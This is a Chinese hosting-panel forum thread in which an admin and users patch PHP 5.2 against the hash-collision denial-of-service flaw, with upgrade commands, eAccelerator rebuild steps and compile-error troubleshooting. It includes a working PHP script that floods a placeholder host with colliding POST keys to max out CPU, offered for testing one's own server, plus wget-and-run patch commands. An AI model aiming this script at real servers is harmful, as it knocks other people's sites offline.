PHP5.2.*防止Hash冲突拒绝服务攻击升级脚本
ssh登录终端,执行如下[quote]wget [url=http://www.wdlinux.cn/in_scripts/php-52_1130.sh.txt]http://www.wdlinux.cn/in_scripts/php-52_1130.sh.txt[/url]
sh php-52_1130.sh.txt
[/quote]
完成后就可以
已修正
之前升级的,如果出现 EA无法使用,可执行如下再编译下EA就可以
[quote]cd /tmp
wget -c [url=http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2]http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2[/url]
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install[/quote]
注
此脚本只对wdlinux,一键包及wdcp的默认安装有效,如不是wdlinux的安装包或有修改目录的,可做相应的修改编译
或下载php手工编译
[color=#0000ff]此BUG据说可以让CPU100%从而达到拒绝服务,但我在几个机器上测试,似乎没有这个问题[/color]
这里附上测试程序
[code]<?php
$size = pow(2, 16);
$array = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php");
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
#$array[$key] = 0;
$argument.="a[".$key."]=0&";
}
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, '0');
curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');
$return['result'] = curl_exec($ch);
$return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
?>[/code]
另一个攻击测试脚本 [url=http://blog.csdn.net/linvo/article/details/7169718]http://blog.csdn.net/linvo/article/details/7169718[/url]
把上面的[url=http://www.wdlinux.cn/bbs/www.xxx.com]www.xxx.com[/url] 替换为相关的域名即可
把上面的PHP代码保存为当前文件如t.php
/www/wdlinux/wdphp/bin/php t.php
就可以看到效果,如果有问题,CPU就会达100% 太感谢了~正愁着尝试网上的方法都不行~老大就出了脚本 This build of "eAccelerator" was compiled for PHP version 5.2.17. Rebuild it for your PHP version (5.2.17-p1) or download precompiled binaries. [quote]ssh登录终端,执行如下
wget
sh php-52_1130.sh.txt
完成后就可以
注
此脚本只对wdlinux,一键包 ...
[size=2][color=#999999]admin 发表于 2012-1-4 13:03[/color] [url=http://www.wdlinux.cn/bbs/redirect.php?goto=findpost&pid=2518&ptid=987][img]http://www.wdlinux.cn/bbs/images/common/back.gif[/img][/url][/size][/quote]
弄好以后 eAccelerator 不能用了 已修正
之前升级的,可执行如下再编译下EA就可以
cd /tmp
wget -c [url=http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2]http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2[/url]
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install [quote]已修正
之前升级的,可执行如下再编译下EA就可以
cd /tmp
wget -c
tar jxvf eaccelerator-0.9.5.3.tar ...
[size=2][color=#999999]admin 发表于 2012-1-9 12:35[/color] [url=http://www.wdlinux.cn/bbs/redirect.php?goto=findpost&pid=2717&ptid=987][img]http://www.wdlinux.cn/bbs/images/common/back.gif[/img][/url][/size][/quote]
老大的效率 太高了 谢谢 是前两天修改过的,你应该是早几天升的吧 [quote]是前两天修改过的,你应该是早几天升的吧
[size=2][color=#999999]admin 发表于 2012-1-9 14:35[/color] [url=http://www.wdlinux.cn/bbs/redirect.php?goto=findpost&pid=2721&ptid=987][img]http://www.wdlinux.cn/bbs/images/common/back.gif[/img][/url][/size][/quote]
上周六 测试 出现 的问题 这个很给力的说 我就说 怎么网站打开报错了呢
ssh上去top一看,我靠mysql占用内存都120%了。。。。
果断下补丁 几分钟搞定:$ 加上memcache扩展再编译下 wdcp_v2.1.2 是不是已经打了补丁,不需要单独再大本文这个补丁? 在此之后的不用 天天CPU百分百的路过。 学习 了,支持老大 请问老大,8月21的要不要再弄下这个 [i=s] 本帖最后由 lotuspool 于 2013-10-30 11:19 编辑 [/i]
我的服务器的php版本是5.2.17, 我想打这个补丁,就现在一台电脑里做了虚拟机,模拟了服务器的系统centos5.7系统,lnmp也和服务器设置和安装目录一样。
php也是5.2.17。wdcp 1.1 。
我用这个脚本在虚拟机系统里打这个补丁,脚本运行很正常,最后完成之后,再去看phpinfo里的信息,已经显示“PHP Version 5.2.17p1”了,再测试漏洞也没有了。
之后我就去正式服务器打补丁,正式服务器脚本运行也正常,最后完成之后,我去看phpinfo里的信息,还是老样子“PHP Version 5.2.17”,我测试这个漏洞也还存在。
我的wdcp安装不是默认目录,脚本下载下来我修改了这个对应的目录,整个脚本运行也没看到什么报错。
请问各位高手,有遇到我这种情况的吗?有哪位兄弟好心帮忙指点一下,不胜感激。 重起一下
可是手动编译试试 谢谢,我去试试 我去手工编译了,结果有报错:
/tmp/php-5.2.17/ext/iconv/iconv.c:2491: undefined reference to `libiconv_open'
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1
我去查了资料,有两个解决方法:
一:编辑Makefile 在crypt 后加上-liconv,
二:make ZEND_EXTRA_LIBS='-liconv'
可是我水平太低,没看懂这个两个解决办法。
第一个办法,我在make的时候报错,这时候还没生成makefile,我怎么去编辑makefile呢?
第二个办法,是直接在命令行里打这个命令,然后重新./configure 。。。。 , make ,这样吗?
我试过在命令行里直接运行make ZEND_EXTRA_LIBS='-liconv',然后./configure 。。。。 , make , 还是报原来的错误。
有哪位好心的兄弟帮我解释一下这个问题吗? 万分感谢。 我刚才这样做了:
./configure 之后
make ZEND_EXTRA_LIBS='-liconv',
然后make install ,已经成功了。
页:
[1]